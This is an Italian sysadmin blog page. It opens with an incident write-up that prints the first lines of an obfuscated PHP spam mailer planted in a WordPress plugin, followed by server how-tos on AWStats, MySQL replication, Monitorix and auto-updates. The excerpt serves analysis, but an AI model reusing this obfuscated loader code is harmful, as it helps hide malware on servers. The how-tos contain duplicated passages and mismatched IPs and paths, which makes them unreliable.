Ieri un amico mi ha chiamato perche' il suo server web era giu' senza un motivo evidente. Si tratta di una installazione non proprio banale di wordpress (con un po' di plugin attivi)
Guardando access_log le ultime 350 righe riportavano il seguente codice
[16/Sep/2014:14:40:15 +0200] "POST /wp-content/plugins/ubermenu/standard/timthumb/stats.php HTTP/1.1" 200 522 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)"
l'attenzione si e' quindi focalizzata sul file stats.php del plugin ubermenu.Fra le altre cose nel codice di UberMenu (scaricato dal sito ufficiale) non e' presente nessun file stat.php nella sottodirectory timthumb
Riporto di seguito le prime righe (in modo da non diffondere il codice completo)
E' evidente anche all'occhio piu' inesperto l'offuscamento del codice Php realizzato popolando un arrary ($i59) con un serie di caratteri e componendo in seguito i comandi usando la concatenazione di caratteri da questo array. Alcune di queste variabili $GLOBALS definiscono nomi di funzioni mentre in altri casi compongono i parametri da passare alle funzioni
------------------------------------------------------
<?
$i59="Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW";
$GLOBALS['kyvlc2'] = $i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[94].$i59[83].$i59[55].$i59[76].$i59[16].$i59[29];
$GLOBALS['osuwk64'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[10].$i59[82].$i59[55];
$GLOBALS['mrkzp11'] = $i59[63].$i59[2].$i59[55].$i59[76].$i59[94].$i59[53].$i59[28];
$GLOBALS['olhjz88'] = $i59[54].$i59[17].$i59[7];
$GLOBALS['gtwpr99'] = $i59[56].$i59[50].$i59[29].$i59[24].$i59[91].$i59[9].$i59[92];
$GLOBALS['azxqi23'] = $i59[65].$i59[10].$i59[1].$i59[56].$i59[1].$i59[9].$i59[53];
$GLOBALS['ttins71'] = $i59[10].$i59[49].$i59[49].$i59[55].$i59[24].$i59[9].$i59[28];
$GLOBALS['biplj38'] = $i59[69].$i59[74].$i59[63].$i59[49].$i59[91].$i59[18].$i59[18];
$GLOBALS['fufff37'] = $i59[2].$i59[83].$i59[16].$i59[54].$i59[10].$i59[79].$i59[34];
$GLOBALS['llsic87'] = $i59[30].$i59[74].$i59[24].$i59[56].$i59[29].$i59[53].$i59[53];
$GLOBALS['npqfu35'] = $i59[29].$i59[49].$i59[56].$i59[82].$i59[56].$i59[92].$i59[53];
$GLOBALS['kgedf91'] = $i59[77].$i59[29].$i59[56].$i59[55].$i59[65].$i59[7].$i59[53];
$GLOBALS['tscso85'] = $i59[10].$i59[55].$i59[83].$i59[49].$i59[82].$i59[16]; //1ayOin
$GLOBALS['dkzox36'] = $i59[2].$i59[69].$i59[83]; //uby
$GLOBALS['nqkyz54'] = $i59[94].$i5mrkzp119[83].$i59[17]; //]yj
$GLOBALS['bbolh46'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[82].$i59[16].$i59[2].$i59[94].$i59[17].$i59[82];
$GLOBALS['pzfzn51'] = $i59[2].$i59[94].$i59[1].$i59[16].$i59[55];
$GLOBALS['goxku40'] = $i59[65].$i59[1].$i59[16].$i59[2].$i59[55].$i59[76].$i59[94].$i59[16].$i59[73].$i59[82].$i59[56].$i59[76].$i59[10].$i59[55].$i59[10];
$GLOBALS['qllnp80'] = $i59[54].$i59[50].$i59[76].$i59[49];
$GLOBALS['oewlq88'] = $i59[65].$i59[12].$i59[2].$i59[24].$i59[17].$i59[92];
$GLOBALS['inaco6'] = $i59[65].$i59[29].$i59[82].$i59[55].$i59[10];
$GLOBALS['fbigd92'] = $i59[29].$i59[82].$i59[55].$i59[69].$i59[94].$i59[10].$i59[55].$i59[63].$i59[77].$i59[16].$i59[50].$i59[54].$i59[82];
$GLOBALS['szwwc12'] = $i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16];
$GLOBALS['ifjvc34'] = $i59[30].$i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16];
$GLOBALS['eypvx47'] = $i59[10].$i59[55].$i59[83].$i59[82].$i59[50].$i59[54].$i59[73].$i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[76].$i59[82].$i59[16].$i59[55];
$GLOBALS['ewgqn30'] = $i59[65].$i59[30].$i59[1].$i59[55].$i59[10];
$GLOBALS['qlkol47'] = $i59[55].$i59[83].$i59[76].$i59[54];
$GLOBALS['wwxez32'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82];
$GLOBALS['xumld93'] = $i59[65].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82];
$GLOBALS['sfroq33'] = $i59[24].$i59[65].$i59[77].$i59[65].$i59[51].$i59[18].$i59[53];
$GLOBALS['snkbr7'] = $i59[55].$i59[76].$i59[54].$i59[82];
$GLOBALS['gbiun57'] = $i59[24].$i59[17].$i59[74].$i59[50].$i59[77].$i59[28];
$GLOBALS['vfpnn60'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[10].$i59[82].$i59[50].$i59[83].$i59[2].$i59[69];
$GLOBALS['slvul93'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82];
$GLOBALS['abwqf91'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[83].$i59[82].$i59[50].$i59[55].$i59[82];
$GLOBALS['wjevo71'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[55].$i59[73].$i59[16].$i59[94].$i59[16].$i59[63].$i59[49].$i59[94].$i59[2].$i59[74];
$GLOBALS['zqewi88'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[94].$i59[16].$i59[16].$i59[82].$i59[2].$i59[55];
$GLOBALS['syafl23'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[49].$i59[50].$i59[10].$i59[55].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83];
$GLOBALS['mhzfy25'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[49].$i59[82].$i59[2].$i59[55];
$GLOBALS['rmuvr11'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[83].$i59[82].$i59[50].$i59[17];
$GLOBALS['tgaup44'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[24].$i59[83].$i59[76].$i59[55].$i59[82];
$GLOBALS['qihri77'] = $i59[2].$i59[49].$i59[94].$i59[10].$i59[82].$i59[38].$i59[94].$i59[2].$i59[74];
$GLOBALS['bavbu3'] = $i59[17].$i59[50].$i59[55].$i59[82];
$GLOBALS['vgyag20'] = $i59[10].$i59[55].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82];
$GLOBALS['rssnp53'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[54].$i59[50].$i59[55].$i59[2].$i59[69];
$GLOBALS['bosbj25'] = $i59[1].$i59[2].$i59[65].$i59[76].$i59[83].$i59[10].$i59[55];
$GLOBALS['eebyx59'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[29].$i59[82].$i59[55];
$GLOBALS['ltkgi30'] = $i59[29].$i59[82].$i59[55].$i59[54].$i59[56].$i59[83].$i59[83];
$GLOBALS['veudg88'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[74].$i59[82].$i59[77].$i59[10];
$GLOBALS['ugeiv74'] = $i59[54].$i59[76].$i59[16];
$GLOBALS['vkxhv92'] = ${$i59[73].$i59[96].$i59[45].$i59[38].$i59[81]};
$GLOBALS['gpcou63'] = $i59[30].$i59[30].$i59[1].$i59[91].$i59[17].$i59[28].$i59[66];
$GLOBALS['kkndw71'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[10].$i59[30].$i59[49].$i59[76].$i59[55];
$GLOBALS['knpxe74'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82];
$GLOBALS['ywanc2'] = $i59[1].$i59[83].$i59[49].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82];
$GLOBALS['ggbdg61'] = $i59[10].$i59[55].$i59[83].$i59[76].$i59[30].$i59[10].$i59[49].$i59[50].$i59[10].$i59[69].$i59[82].$i59[10];
@$GLOBALS['kyvlc2'](NULL);
@$GLOBALS['osuwk64']($i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[49].$i59[94].$i59[29],NULL);
@$GLOBALS['osuwk64']($i59[49].$i59[94].$i59[29].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[10],0);
$vxlcl82 =
array( $i59[17].$i59[50].$i59[55].$i59[50].$i59[81].$i59[94] => "",
$i59[65].$i59[83].$i59[94].$i59[54].$i59[57].$i59[94].$i59[29].$i59[76].$i59[16] => "",
$i59[65].$i59[83].$i59[94].$i59[54].$i59[78].$i59[50].$i59[54].$i59[82] => "",
$i59[10].$i59[1].$i59[63].$i59[12].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
$i59[63].$i59[94].$i59[17].$i59[77].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
$i59[69].$i59[94].$i59[10].$i59[55].$i59[58].$i59[83].$i59[94].$i59[54] => "",
$i59[76].$i59[16].$i59[76].$i59[55].$i59[16].$i59[63].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
$i59[76].$i59[16].$i59[76].$i59[55].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
$i59[76].$i59[16].$i59[76].$i59[55].$i59[54].$i59[50].$i59[76].$i59[49] => FALSE,);
if (FALSE == $GLOBALS['mrkzp11']($i59, $vxlcl82))
{
echo PHP_OS.$i59[70].$GLOBALS['olhjz88'](0987654321).$i59[70].$i59[34].$i59[9].$i59[70].$i59[61].$i59[61].$i59[88].$i59[88].$i59[14];
exit;
}
$unahu45 = array();
-------------------------------------------------------------------------------------
Cercando su internet non si trovano molte informazioni a riguardo (a parte questo link link disattivato) ma con un po' piu di attenzione si arriva ad una pagina di PasteBin (che non linko) che riporta il codice non offuscato
Si tratta di mail script in Php di circa 500 righe.
Per esempio riporto solo la definizione di un array
------------------------------------
$vxlcl82 = array(
"dataTo" => "",
"fromLogin" => "",
"fromName" => "",
"subjTempl" => "",
"bodyTempl" => "",
"hostFrom" => "",
"initnbsock" => FALSE,
"initsock" => FALSE,
"initmail" => FALSE
);
------------------------------------
La macchina era quindi impegnata a fare spam e metteva in crisi le poche risorse disponibili
mercoledì 17 settembre 2014
martedì 16 settembre 2014
Awstats su CentOS 7
L'installazione di Awstats su CentOS 7 non e' proprio lineare a causa del fatto che non e' pacchettizzato in yum e per la presenza di SeLinux attivo sulla macchina
Si parte quindi scaricando l'rpm da http://www.awstats.org/#DOWNLOAD (la versione stable attuale e' la 7.3) e si installa con
rpm-UHV awstats-7.3-1.noarch.rpm
(attenzione a risolvere la dipendenza con perl)
i file di riferimento sono installati in /usr/local/awstats, nella sottodirectory wwwroot si trova il lato web con la directory cgi-bin dove risiede il file awstast.pl mentre in tools
in /etc/httpd/conf.d/awstats.conf si trova la configurazione legata ad Apache
a questo punto si lancia il file awstats_configure.pl (in tools) per creare i file di configurazione che si troveranno in /etc/awstats. A questo punto c'e' da indicare la posizione del file di log degli accessi di Apache (/var/log/httpd/access_log) ed il nome del dominio da monitorare
si crea poi una directory dove contenere i database per Awstats (di default sono ubicati /var/lib/awstats ma in questo posizione SeLinux impedisce ad Apache di leggerli per cui e' meglio scegliere una posizione accessibile)
per aggiornare le statistiche si deve lanciare il comando
/usr/local/awstats/wwwroot/cgi-bin/awstats.pl -update -config=miosito
mentre i risultati possono essere visti a video allì'indirizzo
http://miosito/awstats/awstats.pl?config=LGS2
l'aggiornamento delle statistiche non e' automatico ed e' necessario creare una attivita' di cron per lanciare l'aggiornamento del database di awstats
per completare i riferimenti su SeLinux devono essere impostato anche il seguente comandi
chcon -t httpd_sys_script_exec_t wwwroot/cgi-bin/awstats.plper ulteriori riferimenti seguire il link
Mysql Mirroring su Debian
Il problema: creare due database su due server differenti (master 192.168.1.1 e slave 192.168.1.2) in cui il secondo risulta essere la copia del primo
Si parte dal presupposto che entrambe abbiamo mysql installato (apt-get install mysql-server mysql-client) ed in funzione
Per la configurazione di base di Debian la porta 3306 risulta filtrata per cui sulla macchina master e' necessario modificare le regole di iptables. Per non abbassare troppo la guardia la porta 3306 e' aperta solo per le connessioni che provengono dallo slave
/sbin/iptables -A INPUT -i eth0 -s 192.168.1.1 -p tcp --destination-port 3306 -j ACCEPT
a questo punto ci sono due sistemi (si parte considerando database vuoti)
Sistema completo
Macchina Master
si edita il file /etc/mysql/my.cnf modificando
---------------------------------
bind-address = 192.168.1.1
server-id = 1 (basta decommentare)
log_bin = /var/log/mysql/mysql-bin.log (basta decommentare)
GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'password';
Si parte dal presupposto che entrambe abbiamo mysql installato (apt-get install mysql-server mysql-client) ed in funzione
Per la configurazione di base di Debian la porta 3306 risulta filtrata per cui sulla macchina master e' necessario modificare le regole di iptables. Per non abbassare troppo la guardia la porta 3306 e' aperta solo per le connessioni che provengono dallo slave
/sbin/iptables -A INPUT -i eth0 -s 192.168.1.1 -p tcp --destination-port 3306 -j ACCEPT
a questo punto ci sono due sistemi (si parte considerando database vuoti)
Sistema completo
Macchina Master
si edita il file /etc/mysql/my.cnf modificando
---------------------------------
bind-address = 192.168.1.1
server-id = 1 (basta decommentare)
log_bin = /var/log/mysql/mysql-bin.log (basta decommentare)
binlog_do_db = mirrdatabase (e' il nome del database su cui fare mirroring
---------------------------------
si riavvia il servizio mysql e si entra in shell mysql (mysql -u root -p).
Si crea un database
CREATE DATABASE mirrdatabase;
A questo punto si crea un utente (slave_user) con password con privilegi di replica
FLUSH PRIVILEGES;
a questo punto si digita il comando
SHOW MASTER STATUS;
che risponde qualcosa di simile a questo
+------------------+----------+--------------+------------------+ | File | Position | Binlog_Do_DB | Binlog_Ignore_DB | +------------------+----------+--------------+------------------+ | mysql-bin.000001 | 1080| mirrdatabase | | +------------------+----------+--------------+------------------+ 1 row in set (0.00 sec)
si annotino il numero di posizione ed il file perche' serviranno per la configurazione dello slave
Macchina Slave
si edita il file /etc/mysql/my.cnf modificando
---------------------------------
server-id = 2
relay-log = /var/log/mysql/mysql-relay-bin.log
log_bin = /var/log/mysql/mysql-bin.log (basta decommentare)
si digita quindi
CHANGE MASTER TO MASTER_HOST='192.168.1.1',MASTER_USER='slave_user', MASTER_PASSWORD='password', MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS= 1080;
i valori in giallo sono ricopiati da quelli del master. A questo punto si attiva la replicazione (per essere sicuri che ci sia connessione tra le due macchine puo' essere comodo prima verificare con il comando mysql -h 192.168.1.1 -u slave_user -p che ci sia accesso alla shell di mysql)
si edita il file /etc/mysql/my.cnf modificando
---------------------------------
server-id = 2
relay-log = /var/log/mysql/mysql-relay-bin.log
log_bin = /var/log/mysql/mysql-bin.log (basta decommentare)
binlog_do_db = mirrdatabase (e' il nome del database su cui fare mirroring
---------------------------------
si riavvia il servizio mysql e si entra in shell mysql (mysql -u root -p). e si crea il database
CREATE DATABASE mirrdatabase;
si digita quindi
CHANGE MASTER TO MASTER_HOST='192.168.1.1',MASTER_USER='slave_user', MASTER_PASSWORD='password', MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS= 1080;
i valori in giallo sono ricopiati da quelli del master. A questo punto si attiva la replicazione (per essere sicuri che ci sia connessione tra le due macchine puo' essere comodo prima verificare con il comando mysql -h 192.168.1.1 -u slave_user -p che ci sia accesso alla shell di mysql)
Si avvia quindi la replicazione con il seguente comando
START SLAVE;
a questo punto tutti i comandi eseguiti sulla macchina Master saranno replicati sulla macchina Slave compresi quelli di creazione di tabelle o popolazione dei dati
Sistema speditivo
Con il metodo speditivo e' necessario che sulle due macchine siano presenti e gia' configurati database e strutture tabelle identiche. Per popolare i dati si puo' usare uno script Php con due connessioni (una verso localhost, l'altra verso la macchina di copia)
<?php
a questo punto tutti i comandi eseguiti sulla macchina Master saranno replicati sulla macchina Slave compresi quelli di creazione di tabelle o popolazione dei dati
Sistema speditivo
Con il metodo speditivo e' necessario che sulle due macchine siano presenti e gia' configurati database e strutture tabelle identiche. Per popolare i dati si puo' usare uno script Php con due connessioni (una verso localhost, l'altra verso la macchina di copia)
<?php
$dbmaster = 'localhost';
$dbusermaster = 'root1';
$dbpassmaster = 'password1';
$dbslave = '192.168.1.2';
$dbuserslave = 'root2';
$dbpassslave = 'password2';
$conn_master = mysql_connect($dbmaster, $dbusermaster, $dbpassmaster);
if(! $conn_master )
{
die('Could not connect: ' . mysql_error());
}
$conn_slave = mysql_connect($dbslave, $dbuserslave, $dbpassslave);
if(! $conn_slave )
{
die('Could not connect: ' . mysql_error());
}
$sql = 'INSERT INTO employee '.
'(emp_name,emp_address, emp_salary, join_date) '.
'VALUES ( "guest", "XYZ", 2000, NOW() )';
mysql_select_db('mirrdatabase');
$retval = mysql_query( $sql, $conn_master );
if(! $retval )
{
die('Could not enter data in master: ' . mysql_error());
}
$retval2 = mysql_query( $sql, $conn_slave );
if(! $retval2 )
{
die('Could not enter data in slave : ' . mysql_error());
}
echo "Entered data successfully\n";
mysql_close($conn_master);
mysql_close($conn_slave);
?>
lunedì 8 settembre 2014
Wget e tumblr
Su tumblr ci sono delle spettacolari gallerie di immagini ed alcune volte viene voglia di clonare un sito.
Villeneuve
per farlo in modo automatico e' utile usare wget (sostituire la parte in giallo con il sito preferito)
wget -H -N -k -p -r -Dmedia.tumblr.com,fuckyeah-formula1.tumblr.com -U "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2" http://fuckyeah-formula1.tumblr.com/
Proteggere awstats con .htaccess su Centos 7
Per proteggere con password mediante il file .htaccess le statistiche di awstats si inizia configurando Apache e settando la directory che si intende proteggere nel file /etc/httpd/conf.d/awstats
---------------------------------------------------
<Directory /usr/local/awstats/wwwroot>
DirectoryIndex awstats.pl
Options ExecCGI
AllowOverride AuthConfig
Require all granted
Allow from all
</Directory>
---------------------------------------------------
si riavvia il servizio
systemctl restart httpd.service
poi si imposta un file con la password
con il comando seguente si setta la password per l'utente luca nel file /var/ww/secure/pass_apache
htpasswd -c /home/secure/pass_apache luca
con Selinux attivato e' importante che il file contenente i file delle password si trovi nella sottodirectory /var/www/ (pena il fatto che Apache risponda con un errore 500)
per questo motivo ho creato una directory /var/www/secure ed ho inserito qui il file delle password
per essere sicuri sui permessi
chown apache:apache /var/www/secure/pass_apache
chmod 0660 /home/secure/apasswords
con Selinux attivato e' importante che il file contenente i file delle password si trovi nella sottodirectory /var/www/ (pena il fatto che Apache risponda con un errore 500)
per questo motivo ho creato una directory /var/www/secure ed ho inserito qui il file delle password
per essere sicuri sui permessi
chown apache:apache /var/www/secure/pass_apache
chmod 0660 /home/secure/apasswords
infine si crea il file .htaccess in /usr/local/awstats/wwwroot/cgi-bin
---------------------------------------------------
AuthType Basic
AuthName "Restricted Access"
AuthUserFile /var/www/secure/pass_apache
Require user luca
---------------------------------------------------
giovedì 4 settembre 2014
Monitorix su Debian e CentOS
Sempre per il motivo che sto diventando pigro, avevo bisogno di un sistema semplice per monitorare lo stato di un server da Web.Senza scomodare Nagios, una soluzione che ho trovato carina e' quella di installare Monitorix
Debian
Per l'installazione su Debian la cosa piu' comoda non e' fare affidamento al repository non ufficiale quanto usare l'installazione da .deb
prima di scarichino i pacchetti delle dipendenze con
apt-get install rrdtool perl libwww-perl libmailtools-perl libmime-lite-perl librrds-perl libdbi-perl libxml-simple-perl libhttp-server-simple-perl libconfig-general-perl libio-socket-ssl-perl
yum install rrdtool rrdtool-perl perl-libwww-perl perl-MailTools perl-MIME-Lite perl-CGI perl-DBI
perl-XML-Simple perl-Config-General perl-HTTP-Server-Simple perl-IO-Socket-SSL
Debian
Per l'installazione su Debian la cosa piu' comoda non e' fare affidamento al repository non ufficiale quanto usare l'installazione da .deb
prima di scarichino i pacchetti delle dipendenze con
apt-get install rrdtool perl libwww-perl libmailtools-perl libmime-lite-perl librrds-perl libdbi-perl libxml-simple-perl libhttp-server-simple-perl libconfig-general-perl libio-socket-ssl-perl
ed in seguito si scarica il .deb installando con
dpkg -i monitorix_3.6.0-izzy1_all.deb
adesso si puo' avviare il service con
service monitorix start
e puntare il browser su
http://localhost:8080/monitorix
CentOS 7
Anche su CentOS si deve procedere con l'installazione manuale mediante
poi si scarica l'rpm http://www.monitorix.org/monitorix-3.6.0-1.src.rpm e si installa come
rpm -ivh http://www.monitorix.org/monitorix-n.n.n-1.noarch.rpm
come nel caso precedente si avvia il servizio
il problema con CentOS 7 e' che la porta 8080 e filtrata di default per cui si deve aggiungere la regola
firewall-cmd --zone=public --add-port=8080/tcp
deve essere inoltre modificato il file di configurazione perche' il nome dell'interfaccia di rete di default su CentOS non e' eth0 ma enp3s0
mercoledì 3 settembre 2014
Security update automatico su Debian e CentOS
Dato che sono diventato pigro ed i server sono aumentati ho deciso di mettere l'aggiornamento automatico sulle macchine CentOS e Debian. Cio' che volevo evitare usando un sistema automatico era quello di avere aggiornamenti non di sicurezza che possono compromettere le applicazioni in uso
Con l'ultima versione di CentOS7 e qualche modifica su Debian adesso e' decisamente fattibile
CentOS
per attivare l'aggiornamento automatico su CentOS si deve installare il pacchetto yum-cron
yum install yum-cron
la configurazione si effettua mediante /etc/yum/yum-cron.conf
l'aspetto nuovo di CentOs 7 e' la possibilita' di selezionare l'aggiornamento dei soli pacchetti di sicurezza modificando update_cmd
Per l'installazione automatico si porta su yes apply_updates
Comoda e' la possibilita' di impostare una mail a cui inviare i messaggi
Per attivare yum-cron si digita
systemctl start yum-cron.service
per verifica lo stato del servizio
systemctl status yum-cron.service
upgrade -y -o APT::Get::Show-Upgraded=true
Con l'ultima versione di CentOS7 e qualche modifica su Debian adesso e' decisamente fattibile
CentOS
per attivare l'aggiornamento automatico su CentOS si deve installare il pacchetto yum-cron
yum install yum-cron
la configurazione si effettua mediante /etc/yum/yum-cron.conf
l'aspetto nuovo di CentOs 7 e' la possibilita' di selezionare l'aggiornamento dei soli pacchetti di sicurezza modificando update_cmd
Per l'installazione automatico si porta su yes apply_updates
Comoda e' la possibilita' di impostare una mail a cui inviare i messaggi
Per attivare yum-cron si digita
per verifica lo stato del servizio
systemctl status yum-cron.service
---------------------------------------------------------------------------
Debian
Per Debian ho usato la guida di questo sito
in pratica si deve creare il file /etc/cron-apt/action.d/5-security ed aggiungere
creare il file /etc/cron-apt/config.d/5-security ed aggiungere
OPTIONS="-o quiet=1 --no-list-cleanup -o Dir::Etc::SourceList=/etc/apt/sources.list.d/security.list -o Dir::Etc::SourceParts=\"/dev/null\""
deb http://security.debian.org/ wheezy/updates main deb-src
creare il file /etc/apt/sources.list.d/security.list ed aggiungere
http://security.debian.org/ wheezy/updates main
a questo punto il cron e' settato per le 4 di notte (si modifica da /etc/cron.d/)
si puo' comunque forzare mediante cron-apt
si puo' comunque forzare mediante cron-apt
di seguito il risultato su /var/log/cron-apt/log
-----------------------------------------------------------------
root@debian:/etc/cron.d# tail /var/log/syslog
Sep 3 11:48:28 debian cron-apt: CRON-APT LINE: /usr/bin/apt-get -o quiet=1 --no-list-cleanup -o Dir::Etc::SourceList=/etc/apt/sources.list.d/security.list -o Dir::Etc::SourceParts="/dev/null" upgrade -d -y -o APT::Get::Show-Upgraded=true
Sep 3 11:48:28 debian cron-apt: Reading package lists...
Sep 3 11:48:28 debian cron-apt: Building dependency tree...
Sep 3 11:48:28 debian cron-apt: Reading state information...
Sep 3 11:48:28 debian cron-apt: The following packages will be upgraded:
Sep 3 11:48:28 debian cron-apt: liblua5.1-0
Sep 3 11:48:28 debian cron-apt: 1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Sep 3 11:48:28 debian cron-apt: Need to get 0 B/185 kB of archives.
Sep 3 11:48:28 debian cron-apt: After this operation, 32.8 kB disk space will be freed.
Sep 3 11:48:28 debian cron-apt: Download complete and in download only mode
root@debian:/etc/cron.d# tail /var/log/syslog
Sep 3 11:48:28 debian cron-apt: CRON-APT LINE: /usr/bin/apt-get -o quiet=1 --no-list-cleanup -o Dir::Etc::SourceList=/etc/apt/sources.list.d/security.list -o Dir::Etc::SourceParts="/dev/null" upgrade -d -y -o APT::Get::Show-Upgraded=true
Sep 3 11:48:28 debian cron-apt: Reading package lists...
Sep 3 11:48:28 debian cron-apt: Building dependency tree...
Sep 3 11:48:28 debian cron-apt: Reading state information...
Sep 3 11:48:28 debian cron-apt: The following packages will be upgraded:
Sep 3 11:48:28 debian cron-apt: liblua5.1-0
Sep 3 11:48:28 debian cron-apt: 1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Sep 3 11:48:28 debian cron-apt: Need to get 0 B/185 kB of archives.
Sep 3 11:48:28 debian cron-apt: After this operation, 32.8 kB disk space will be freed.
Sep 3 11:48:28 debian cron-apt: Download complete and in download only mode
Iscriviti a:
Post (Atom)
Opencv camera calibration in cpp
Oltre che con uno script Python come visto qui la calibrazione della camera si puo' fare anche con il programma in CPP Questo il proce...
-
In questo post viene indicato come creare uno scatterplot dinamico basato da dati ripresi da un file csv (nel dettaglio il file csv e' c...
-
Questo post e' a seguito di quanto gia' visto nella precedente prova Lo scopo e' sempre il solito: creare un sistema che permet...
-
La scheda ESP32-2432S028R monta un Esp Dev Module con uno schermo TFT a driver ILI9341 di 320x240 pixels 16 bit colore.Il sito di riferiment...